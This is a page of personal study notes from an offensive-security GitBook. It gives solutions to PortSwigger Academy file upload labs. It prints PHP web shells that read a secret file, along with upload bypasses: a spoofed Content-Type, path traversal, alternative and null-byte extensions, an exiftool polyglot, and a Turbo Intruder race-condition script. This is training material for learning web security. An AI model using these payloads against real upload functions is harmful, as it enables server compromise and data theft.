OffSec Notes
  • Offensive Security Notes
    • Linux/Unix
      • Checklist - PrivEsc
        • Related Links
        • Kernel Exploits
        • MYSQL
          • HEX
        • SUID
        • Relative Path in SUID Program
        • Writable /etc/passwd file
        • Writable script in /etc/crontab
        • Writable services
        • Sudo <=1.8.14
        • Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit
        • Docker
          • Docker Escape
        • davfs2
        • gcore
        • fail2ban
        • git
        • tar with wildcard
        • Exiftool
      • Limited Shell Escape
      • Wordpress
      • Apache Tomcat
      • Werkzeug Console PIN bypass
        • get_flask_pin.py
      • Java Object Deserialization
      • Redis RCE
      • mongodb
      • Postgres
      • Erlang - 4369
      • rsync - 873
      • Sendmail ClamAV
      • VNC Password Decryptor
    • Windows
      • Checklist - PrivEsc
        • MSSQL
        • PsExec.exe
        • Build Exploits
        • Unquoted Service Paths
        • SeImpersonateToken
        • SeRestorePrivilege
        • SeBackupPrivilege
        • Abuse GPO
        • Job with editable file
        • AlwaysInstallElevated
        • Misconfigured LDAP
        • GMSA
        • MS17-010
      • Useful PS Scripts
        • GetUserSPNs.ps1
        • Master MDF Hash Extraction
        • Spray-Passwords.ps1
      • Password Extraction
      • Office Macro
        • Microsoft Office
        • Open Office
      • Post Exploitation
    • Web
      • SQL Injection
        • mongodb 2.2.3
        • UNION BASED
          • MSSQL
          • Oracle
        • ERROR BASED
        • node.js
    • Nmap samples
    • Shells
      • node.js
      • msfvenom samples
      • Reverse Shells
      • Shellter
    • Enumeration
      • SMB
      • RPC
      • LDAP
    • Buffer Overflow
      • mona
      • fuzzer.py
      • exploit.py
      • bytearray.py
      • pattern_offset.rb
      • pattern_create.rb
    • Password Cracking
    • File Download
      • FTP
    • Port Forwarding
      • Dynamic Forwarding
    • Useful links
  • Blog
    • CRTO I & II
    • OSCP Preparation
    • New OSCP Exam vs Previous OSCP Exam
    • Movements in AD
    • PWK Lab vs PG Practice
  • PortSwigger Academy
    • Server-side topics
      • Authentication vulnerabilities
      • OS Command Injection
      • File Path Traversal
      • Business logic vulnerabilities
      • Information disclosure vulnerabilities
      • Access control vulnerabilities and privilege escalation
      • File upload vulnerabilities
      • Server-side request forgery (SSRF)
      • XML external entity (XXE) injection
    • Client-side topics
      • Cross-site scripting
      • Cross-origin resource sharing (CORS)
      • Cross-site request forgery (CSRF)
      • Clickjacking (UI redressing)
      • DOM-based vulnerabilities
      • Testing for WebSockets security vulnerabilities
    • Advanced topics
      • Insecure deserialization
      • Server-side template injection
      • Web cache poisoning
      • HTTP Host header attacks
      • HTTP request smuggling
      • OAuth 2.0 authentication vulnerabilities
      • JWT attacks
  • Walkthroughs
    • PG Practice
      • Linux
        • WARM UP
          • Bratarina
          • ClamAV
          • Exfiltrated
          • Hawat
          • Interface
          • Muddy
          • Pebbles
          • Twiggy
          • Wombo
        • GET TO WORK
          • Banzai
          • Cassios
          • Dibble
          • Fail
          • G00g
          • Hetemit
          • Hunit
          • Maria
          • Nappa
          • Nibbels
          • Nukem
          • Payday
          • Pelican
          • Readys
          • Roquefort
          • Snookums
          • Sorcerer
          • Splodge
          • Sybaris
          • Walla
          • Webcal
          • XposedAPI
          • ZenPhoto
          • Zino
          • QuackerJack
        • TRY HARDER
          • Clyde
          • Peppo
          • Sirol
      • Windows
        • WARM UP
          • Algernon
          • Compromised
          • Helpdesk
          • Internal
          • Kevin
          • Metallus
        • GET TO WORK
          • AuthBy
          • Billyboss
          • Craft
          • Fish
          • Hutch
          • Jacko
          • Nickel
          • Shenzi
          • Slort
        • TRY HARDER
          • Heist
          • Meathead
          • Vault
      • Template
  • About the author
Powered by GitBook
On this page
  • Lab: Remote code execution via web shell upload
  • Lab: Web shell upload via Content-Type restriction bypass
  • Lab: Web shell upload via path traversal
  • Lab: Web shell upload via extension blacklist bypass
  • Lab: Web shell upload via obfuscated file extension
  • Lab: Remote code execution via polyglot web shell upload
  • Lab: Web shell upload via race condition
  1. PortSwigger Academy
  2. Server-side topics

File upload vulnerabilities

https://portswigger.net/web-security/file-upload

Lab: Remote code execution via web shell upload

This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.

My-account -> Login -> Upload Avatar

data.php
***
<?php echo file_get_contents("/home/carlos/secret"); ?>
***

GET /files/avatars/data.php HTTP/1.1

Lab: Web shell upload via Content-Type restriction bypass

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.

My-account -> Login -> Upload Avatar

Error ->

Sorry, file type application/x-php is not allowed Only image/jpeg and image/png are allowed Sorry, there was an error uploading your file.

POST /my-account/avatar HTTP/1.1 -> Send to repeater
...
Content-Disposition: form-data; name="avatar"; filename="data.php"
Content-Type: image/jpeg

<?php echo file_get_contents("/home/carlos/secret"); ?>

GET /files/avatars/data.php HTTP/1.1

Lab: Web shell upload via path traversal

This lab contains a vulnerable image upload function. The server is configured to prevent execution of user-supplied files, but this restriction can be bypassed by exploiting a secondary vulnerability.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.

My-account -> Login -> Upload Avatar

POST /my-account/avatar HTTP/1.1
...
Content-Disposition: form-data; name="avatar"; filename="..%2fdata.php"
Content-Type: application/x-php

<?php echo file_get_contents("/home/carlos/secret"); ?>
  • GET /files/avatars/..%2fdata.php HTTP/1.1

  • GET /files/data.php HTTP/1.1

Lab: Web shell upload via extension blacklist bypass

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in the configuration of this blacklist.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret.

My-account -> Login -> Upload Avatar

Error:

Sorry, php files are not allowed Sorry, there was an error uploading your file.

Intruder Attack -> Just php extension blocked, not others

POST /my-account/avatar HTTP/1.1
...
Content-Disposition: form-data; name="avatar"; filename="data.phtml"
Content-Type: application/x-php

<?php echo file_get_contents("/home/carlos/secret"); ?>

GET /files/data.phtml HTTP/1.1

Lab: Web shell upload via obfuscated file extension

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret.

My-account -> Login -> Upload Avatar

Error:

Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.

POST /my-account/avatar HTTP/1.1
...
Content-Disposition: form-data; name="avatar"; filename="data.php%00.jpg"
Content-Type: application/x-php

<?php echo file_get_contents("/home/carlos/secret"); ?>

GET /files/avatars/data.php HTTP/1.1

Lab: Remote code execution via polyglot web shell upload

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret.

My-account -> Login -> Upload Avatar

Error:

Error: file is not a valid image Sorry, there was an error uploading your file.

$ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" shell.jpeg -o data.php

GET /files/avatars/data.php HTTP/1.1

Lab: Web shell upload via race condition

This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret.

We took advantage of altgorithm's processing time.

Turbo Intruder ->

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''POST /my-account/avatar HTTP/1.1
Host: ac8e1f411f99a135c07c3061008f00f7.web-security-academy.net
Cookie: session=exFApur1ws5zUINovUJPBtrMuo6wyhZh
Content-Length: 466
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://ac8e1f411f99a135c07c3061008f00f7.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5JBEpKkudjtX2Vh3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac8e1f411f99a135c07c3061008f00f7.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary5JBEpKkudjtX2Vh3
Content-Disposition: form-data; name="avatar"; filename="data.php"
Content-Type: application/x-php

<?php echo file_get_contents("/home/carlos/secret"); ?>
------WebKitFormBoundary5JBEpKkudjtX2Vh3
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundary5JBEpKkudjtX2Vh3
Content-Disposition: form-data; name="csrf"

mpqL0zzPJ6dA6Sv1CVPgBlSNq60CJASq
------WebKitFormBoundary5JBEpKkudjtX2Vh3--


'''

    request2 = '''GET /files/avatars/data.php HTTP/1.1
Host: ac8e1f411f99a135c07c3061008f00f7.web-security-academy.net
Cookie: session=exFApur1ws5zUINovUJPBtrMuo6wyhZh
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Attack -> The answer is in the HTTP 200 response.

PreviousAccess control vulnerabilities and privilege escalationNextServer-side request forgery (SSRF)

Last updated 3 years ago